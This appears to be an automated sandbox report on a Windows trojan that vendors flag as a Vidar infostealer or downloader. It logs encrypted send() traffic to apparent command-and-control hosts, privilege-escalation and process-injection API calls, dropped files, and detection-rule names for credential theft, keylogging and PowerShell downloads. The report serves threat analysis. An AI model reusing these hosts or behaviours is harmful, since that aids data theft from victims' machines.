uãžËïÒMkËVNV¥mkiÅâ{<vÚ’£Àc¸ì§Õ¸2ƒºÿ‹ÚiÄà—ûFè>þ¹Î2’Qk²‚Ós27·|]»ÚFÝö¬_,móvÒ5A£û¾+× ÍÐõd¬¥ ô'Ñþ)ÙjFô^ƒ@¼`ôi‡Ä\Û¥øw(¢Òü¡**ϱã×ôËÿ*¥jž·}5Ð!ƒfê£Än"ÏÅ/Ëq`‘¿P¶à
Data sent €|ffP&ŸŸjŒ °ýnÙd‹-~Gëþ4F¿xinÆ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net  
Data sent FBA ä³ù û'en Ôÿ"!¨ÀËtÄôdӅ0ê§@Uêpç†åXˆg k!¦#IZÃHÙkL'È0*ð×Ώ[nÊÃI³ßÓY¹S¢ y.Çß©ý¯4¯—ÖØoV„À%Kž`Ý i
Data sent €f4gœmφj•uÒýQ§*¡±/†#'N¯½‚—µ+#U ¢çÚ%žÝ‰ñ¹o&cÑõ‰cV»¶¢Ê’z  ÕŒŒZüökCĜrð¯“Mþ­ZK³P#8½ò‹ì¿o tšÊIЁf@T΃®I¸Òn†èú…m9«$?
Data sent €|ffP'n„¿ßô¹ZÔ¿YƒO BþdÐËè,}ܼ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net  
Data sent FBA[Öõ·éÛVvÍlçwg¥ M³áRç,W^©™uçG‚#Î8ÔëXl¥ÏéwZkIYÆ,%œµv´‰àOì v\0‡îÿZÎ_ûFóãaO2 ¡Ø?ˆ~Iw‘'9ÚsÆÆ:OûLß^îr8'ˆ™}‚l
Data sent €4•‰±^o7ªQÚj:;7Á*ÀjW¸ö¨ðöð„Æ”=Î|,¤Í‡V¾«mJ^Ða«WÀtgìx¾n)U‹xL¢¿õ^3ŸÚ¦õççÎ@N~Dl;úøî½%¸Ñ씤-PÀ‰íܬ‘ŠÅþÞsÑ(|'~59¢ìQI,j1Õ)©
Data sent tpffP(+þ¯SpÕß·‘Í¥ƒ.}'ñ šAÍ$¿iba/5 ÀÀÀ À 28/ÿcdn-edge-node.com  
Data sent FBA©õtHˊOÌ †¤ŽÍØ¥3îâ6åL åŸv\hʼafÍc‡;.ë;ð¥æ\1º"œü‡’[h‡Òb0WÙÛŒ´£ý?5œêÖ«p–*”­Ïé´²eIªÃjŽ-'’Ltɘü
Data sent pðçEjÎ|/ jFØË}l @ºØª¢³ã6ڈ[ÓƊË/!ÖQܶ±2ï¹ÆìÈÚgr¥ÅÔ*ֈp1q‚©È]ñ Q6ÐqÜ)yÁÈ&"s,ј–O5N€—Eà=jëÙ*ÃÔ9—í²;
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Steal credential rule local_credential_Steal
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description File Downloader rule Network_Downloader
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Communications over P2P network rule Network_P2P_Win
Time & API Arguments Status Return Repeated

send

buffer: €|ffP&ŸŸjŒ °ýnÙd‹-~Gëþ4F¿xinÆ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net  
socket: 1424
sent: 133
1 133 0

send

buffer: FBA ä³ù û'en Ôÿ"!¨ÀËtÄôdӅ0ê§@Uêpç†åXˆg k!¦#IZÃHÙkL'È0*ð×Ώ[nÊÃI³ßÓY¹S¢ y.Çß©ý¯4¯—ÖØoV„À%Kž`Ý i
socket: 1424
sent: 134
1 134 0

send

buffer: €f4gœmφj•uÒýQ§*¡±/†#'N¯½‚—µ+#U ¢çÚ%žÝ‰ñ¹o&cÑõ‰cV»¶¢Ê’z  ÕŒŒZüökCĜrð¯“Mþ­ZK³P#8½ò‹ì¿o tšÊIЁf@T΃®I¸Òn†èú…m9«$?
socket: 1424
sent: 133
1 133 0

send

buffer: €|ffP'n„¿ßô¹ZÔ¿YƒO BþdÐËè,}ܼ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net  
socket: 1436
sent: 133
1 133 0

send

buffer: FBA[Öõ·éÛVvÍlçwg¥ M³áRç,W^©™uçG‚#Î8ÔëXl¥ÏéwZkIYÆ,%œµv´‰àOì v\0‡îÿZÎ_ûFóãaO2 ¡Ø?ˆ~Iw‘'9ÚsÆÆ:OûLß^îr8'ˆ™}‚l
socket: 1436
sent: 134
1 134 0

send

buffer: €4•‰±^o7ªQÚj:;7Á*ÀjW¸ö¨ðöð„Æ”=Î|,¤Í‡V¾«mJ^Ða«WÀtgìx¾n)U‹xL¢¿õ^3ŸÚ¦õççÎ@N~Dl;úøî½%¸Ñ씤-PÀ‰íܬ‘ŠÅþÞsÑ(|'~59¢ìQI,j1Õ)©
socket: 1436
sent: 133
1 133 0

send

buffer: tpffP(+þ¯SpÕß·‘Í¥ƒ.}'ñ šAÍ$¿iba/5 ÀÀÀ À 28/ÿcdn-edge-node.com  
socket: 1944
sent: 121
1 121 0

send

buffer: FBA©õtHˊOÌ †¤ŽÍØ¥3îâ6åL åŸv\hʼafÍc‡;.ë;ð¥æ\1º"œü‡’[h‡Òb0WÙÛŒ´£ý?5œêÖ«p–*”­Ïé´²eIªÃjŽ-'’Ltɘü
socket: 1944
sent: 134
1 134 0

send

buffer: pðçEjÎ|/ jFØË}l @ºØª¢³ã6ڈ[ÓƊË/!ÖQܶ±2ï¹ÆìÈÚgr¥ÅÔ*ֈp1q‚©È]ñ Q6ÐqÜ)yÁÈ&"s,ј–O5N€—Eà=jëÙ*ÃÔ9—í²;
socket: 1944
sent: 117
1 117 0
Process injection Process 2692 resumed a thread in remote process 2984
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2984
1 0 0
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\Temp\i0.exe
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Agent.Y!c
Skyhigh BehavesLike.Win32.Dropper.ph
Cylance Unsafe
Sangfor Trojan.Win32.Agent.V3ip
Symantec Trojan.Gen.MBT
Elastic malicious (high confidence)
APEX Malicious
McAfee Artemis!58CA6D5068FA
Avast NSIS:PWSX-gen [Trj]
Kaspersky HEUR:Trojan.Win32.Agent.gen
TrendMicro TrojanSpy.Win32.VIDAR.YXEEBZ
McAfeeD ti!ABC83F0B74C5
Trapmine malicious.moderate.ml.score
Sophos Mal/Generic-S
Webroot W32.Trojan.Gen
Antiy-AVL Trojan/Win32.Agent.gen
Kingsoft Win32.Trojan.Agent.gen
Gridinsoft Trojan.Win32.Agent.sa
Microsoft Trojan:Win32/Phonzy.C!ml
ZoneAlarm HEUR:Trojan.Win32.Agent.gen
Varist W32/ABRisk.CKWD-2776
DeepInstinct MALICIOUS
VBA32 suspected of Trojan.Downloader.gen
Malwarebytes Trojan.Downloader.NSIS
Panda Trj/Downloader.RP
TrendMicro-HouseCall TrojanSpy.Win32.VIDAR.YXEEBZ
SentinelOne Static AI - Suspicious PE
Fortinet W32/PossibleThreat
AVG NSIS:PWSX-gen [Trj]
Paloalto generic.ml